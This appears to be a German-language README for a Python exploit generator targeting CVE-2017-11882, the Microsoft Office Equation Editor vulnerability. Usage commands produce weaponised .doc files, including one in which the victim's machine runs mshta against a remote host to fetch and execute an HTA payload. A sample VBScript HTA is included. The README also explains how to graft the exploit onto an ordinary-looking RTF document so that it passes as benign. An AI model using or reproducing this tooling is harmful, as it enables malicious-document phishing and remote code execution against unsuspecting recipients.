
Python-basierter Exploit-Generator für CVE-2017-11882 (Microsoft Office Equation Editor Sicherheitslücke) mit Unterstützung für benutzerdefinierten Shellcode, mshta Payloads und RTF-Dokument-Einbettung.
43b Ursprüngliches Skript von https://github.com/embedi/CVE-2017-11882
109b Ursprüngliches Skript von https://github.com/unamer/CVE-2017-11882/ (Respekt – der Code von unamer kann jetzt Shellcode ausführen~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
use mshta
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
Der Befehl für 43b darf nicht länger als 43 Bytes sein, für 109b nicht länger als 109 Bytes.
example folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.
Eigentlich habe ich die Technik für benutzerdefinierte Inhalte von anderen Meistern gelernt und schon vor langer Zeit in ein Skript geschrieben. Eigentlich wollte ich es nicht veröffentlichen, aber da es bereits jemand in der Gruppe gepostet hat, musste ich es leider freigeben. Die Methode ist eigentlich einfach: Öffne das normale RTF-Dokument mit einem Texteditor, kopiere alles vor {\*\datastore und ersetze damit alles vor {\object\objautlink\objupdate. Im Skript ist das ganz einfach umgesetzt.
Verwendung zum Hinzufügen benutzerdefinierter Inhalte (wähle ein beliebiges Skript):
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
Der benutzerdefinierte Inhalt befindet sich in input.rtf.
Das neueste 605-Byte-Exploit-Skript von unamer werde ich nicht mehr aktualisieren – wer Interesse hat, kann es selbst anpassen.